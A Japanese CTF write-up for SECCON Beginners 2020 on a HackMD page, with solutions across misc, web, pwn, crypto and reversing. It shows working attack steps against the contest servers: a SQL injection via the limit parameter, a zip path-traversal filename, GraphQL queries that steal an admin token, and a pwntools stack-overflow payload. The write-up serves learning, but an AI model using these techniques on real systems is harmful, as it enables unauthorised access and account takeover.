おちゃむら
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # Beginners CTF 2020 ## Misc ### emoemoencode - 与えられた絵文字はU+1F300~U+1F3FFに含まれているモノしかない。 - FLAGは、ctf4b~と与えられるはずなので、最初の絵文字の🍣=cだと見当つける。 - 🍣=U+1F363 c = U+0063だから、与えられた絵文字の各文字からユニコードの値で1F300ひく。 ### readme - `/home/ctf/flag` にフラグがあるらしい - サーバに接続してパスを渡すとそのパスのファイルの中身を送ってくれる - ただし `ctf` の文字が含まれていると弾かれてしまう ## Web ### Spy ```python @app.route("/", methods=["GET", "POST"]) def index(): t = time.perf_counter() if request.method == "GET": return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t)) if request.method == "POST": name = request.form["name"] password = request.form["password"] exists, account = db.get_account(name) if not exists: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) # ここに来る時点でユーザは存在することがわかっている # ここでストレッチングを行っている # -> ストレッチングには時間がかかる # -> レスポンスタイムが遅かったユーザは存在するユーザである # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times. # You know, it's really secure... isn't it? :-) hashed_password = auth.calc_password_hash(app.SALT, password) if hashed_password != account.password: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) session["name"] = name return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t)) ``` ``` Arthur Barbara Christine David Elbert long Franklin George long Harris Ivan Jane Kevin Lazarus long Marc long Nathan Oliver Paul Quentin Randolph Scott Tony long Ulysses Vincent Wat Ximena long Yvonne long Zalmon ``` ### Tweetstore - keyword欄は入力は`'`をエスケープしてるので大したインジェクションはできないが、limit欄は;しか判定していない - そのうえ、ページには、検索結果のツイート数を表示してるラベルがあるのでそこを出力欄として利用する。 - getpgusername() で現在のDBに接続しているユーザをだす。ascii(chr)で文字を文字コードに変換できる。 ``` GET parameter limit=ascii(substr(getpgusername(),1,1)) SQL select (省略) limit ascii(substr(getpgusername(),1,1)); ``` - 以上の要領でラベル欄に文字コードを出力できるためその後合成してつなげる。 ### unzip - zipファイルのファイル名を表示してくれる機能があるが、directoryも含んだファイル名を表示してくれる。 - .\.というフォルダ名の中にファイル多くと、ファイル表示機能によって遡ったファイルを表示できる。 ``` ../../flag.txt ``` - を含むzipをアップロードする。※.\.はdirectory - PHP側でアップロードされたZIPファイルの内容リストを持っているので、表示ページのパラメータをいじるだけでは無理で、上のような構造を持つファイルを実際に送る必要がある ### profiler - graphQL injection ? - nginx + graphQL. javascriptは難読化解除する必要はないらしい。ヒント曰く - `https://profiler.quals.beginners.seccon.jp/api` に直接POSTでqueryを送ることができる。 - flagが見れる管理者のuidは`admin` 1. queryのsomeoneでadminのtokenを取得する。 ※以下は要求メッセージ。 mutationの時は、headerにcookieを忘れず送る ```json= {"query":"query{someone(uid:\"admin\"){name\ntoken}}"} ``` 2. mutationのupdateTokenで自分の作ったアカウントのtokenを変える。 ```json= {"query":"mutation {updateToken(token: \"[admin_token]\")}"} ``` 3. flagをページから確認 ## Pwn ### Beginner's Stack - リターンアドレスを`win`関数に書き換えた - 注意点として,`push rbp`を呼ばないために`0x400861(win関数の先頭)`ではなく`0x400862`に飛ぶようにした - `push rbp`を呼ぶと,`RSP`の値がアラインメント(アドレスが0x10で割り切れること)されていない値になるから ```:python from pwn import * payload = 'A' * 40 + '\x62\x08\x40\x00\x00\x00\x00\x00' # io = process('./chall') # io.send(payload) # io.interactive() shell = remote('bs.quals.beginners.seccon.jp', 9001) shell.send(payload) shell.interactive() ``` ### Beginner's Heap - [heap based overflowの資料(どっかの大学)](http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/17/10_lecture.pdf) - [heap based overflowの資料(日本語でいいし,mallocの解説も手堅い)](http://www.soi.wide.ad.jp/class/20040011/slides/19/56.html) - [malloc/freeの解説](https://www.valinux.co.jp/technologylibrary/document/linux/malloc0001/) - [malloc/freeの解説2](http://kyuri.hatenablog.jp/entry/2017/04/21/152626) - [malloc動画](https://www.youtube.com/watch?v=0-vWT-t0UHg) - [Pwn攻撃手法をがんばって体系化しようとしてるやつ](https://raintrees.net/projects/a-painter-and-a-black-cat/wiki/CTF_Pwn#Vulnerabilities%E8%84%86%E5%BC%B1%E6%80%A7) - [Exploiting Heap Overflow for Beginners](https://null-byte.wonderhowto.com/forum/exploiting-heap-overflow-for-beginners-by-mohamed-ahmed-0179957/) - [Glibc Malloc for Exploiters](https://github.com/yannayl/glibc_malloc_for_exploiters) - [PicoCTFのpwn問題writeup](https://faraz.faith/2019-10-12-picoctf-2019-heap-challs/) - [PicoCTFの一番かんたんなheap問題のwriteup](https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/Heap_overflow.md) - 結構丁寧でおすすめ ## Crypto ### R&B 解法コード ```:python import base64 import codecs crypto = "***" while crypto[0] == 'B' or crypto[0] == 'R': if crypto[0] == 'B': crypto = base64.b64decode(crypto[1:]).decode() else: crypto = codecs.decode(crypto[1:], 'rot13') print(crypto) ``` ### RSA Calc - [適応選択暗号文攻撃](http://inaz2.hatenablog.com/entry/2016/01/26/222303) - 適当に過去のRSAに関するCTFのwriteup等を見ていたときに,この適応選択暗号文攻撃が条件に最も当てはまると思った - 本来Fや1337が含まれる平文を暗号化することはできないが,適応選択暗号文攻撃を行うことで,暗号文を取得することができる ```:python from Crypto.Util.number import * from pwn import * import sys data = b'1330,7,+,F' num = bytes_to_long(data) n = 104452494729225554355976515219434250315042721821732083150042629449067462088950256883215876205745135468798595887009776140577366427694442102435040692014432042744950729052688898874640941018896944459642713041721494593008013710266103709315252166260911167655036124762795890569902823253950438711272265515759550956133 e = 65537 r = 5 mr = (num * pow(r, e, n)) % n shell = remote('rsacalc.quals.beginners.seccon.jp', 10001) shell.recvuntil('> ') shell.send('1\n') shell.recvuntil('data>') shell.send(long_to_bytes(mr)) shell.send('\n') # signature output print(shell.recvline()) # signature cr = int("557d420445791264afcb7604dc92163fa8ce7d7d33199961d971b4ac0fd79e3f329ba317fbeff7c3043e0f6ef0bfe121cf59b231692bfdcdff93a328d6d7480922cf66d85940b4916f92cfd18f83a7127ff2a9e1bed5cd0e16a8f0675e9d7a527dd943c3b947cd4c3fdd15a9864f392600e2c9f87c53428291da0b18d7a77dfe", 16) c = (cr * inverse(r, n)) % n print(binascii.hexlify(long_to_bytes(c)).decode()) ``` ### Noisy equations - フラグの長さは44 - 256ビットのランダムな整数を44×44個作って、それを使ってフラグを変形している 問題のコード: ```python from os import getenv from time import time from random import getrandbits, seed FLAG = getenv("FLAG").encode() SEED = getenv("SEED").encode() L = 256 N = len(FLAG) def dot(A, B): assert len(A) == len(B) return sum([a * b for a, b in zip(A, B)]) coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)] seed(SEED) answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs] print(coeffs) print(answers) ``` 上記のコードにて、それぞれの変数は以下の通り対応する。 - FLAG: 要素の値が不明なN次元ベクトル ( f ) - coeffs: 全要素が乱数値のNxN行列 ( C ) - answers: 式1によって与えられるN次元ベクトル ( a ) この問題の本質は、`f`ベクトルの導出である。 `a`は以下の式で計算される。 ```python a = C * f + r ``` ここで`r`は、answers生成時に加算されている乱数を並べたN次元ベクトルである。この`r`は生成時にシードが固定されているため、`C`のように毎回ランダムではなく、固定されている。 上の式からは未知数が2つ(`f`, `r`)存在するため、1組の(`C`, `a`)からは解を導くことができない。 そこで(`C`, `a`)を2組用意し、それぞれを(`C0`, `a0`)と(`C1`, `a1`)とする。 すると以下のように`f`を導出することができる。 ```python a0 = C0 * f + r a1 = C1 * f + r D = C1 - C0 a1 = (D + C0) * f + r = D * f + C0 * f + r a1 - a0 = D * f D^(-1) * (a1 - a0) = f ``` 以上より、`f`を導出し、ベクトルの各要素をアスキーコードでデコードする。 解答コード: ```python import json import numpy as np from pwn import * def get_noisy_data(): shell = remote('noisy-equations.quals.beginners.seccon.jp', 3000) C = np.array(json.loads(shell.recvline()), dtype='float') a = np.array(json.loads(shell.recvline()), dtype='float') return (C, a) if __name__ == '__main__': C0, a0 = get_noisy_data() C1, a1 = get_noisy_data() D = C1 - C0 DInv = np.linalg.inv(D) f = np.round(np.dot(DInv, a1 - a0)) for c in f: print(chr(int(c)), end='') print() ``` ## Reversing ### Mask - Ghidraを使った - デコンパイラがめちゃくちゃ便利 - 正直,アセンブラ言語とか読めない - 論理演算でフラグをごにょごにょしてるから,Pythonでデコーダ書いたらフラグが出た - ![](https://i.imgur.com/FlhMlgj.png) ```:python s1 = "atd4`qdedtUpetepqeUdaaeUeaqau" s2 = "c`b bk`kj`KbababcaKbacaKiacki" flag = '' for i in range(len(s1)): flag = flag + chr((ord(s1[i]) | ord(s2[i]))) print(flag) ```

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully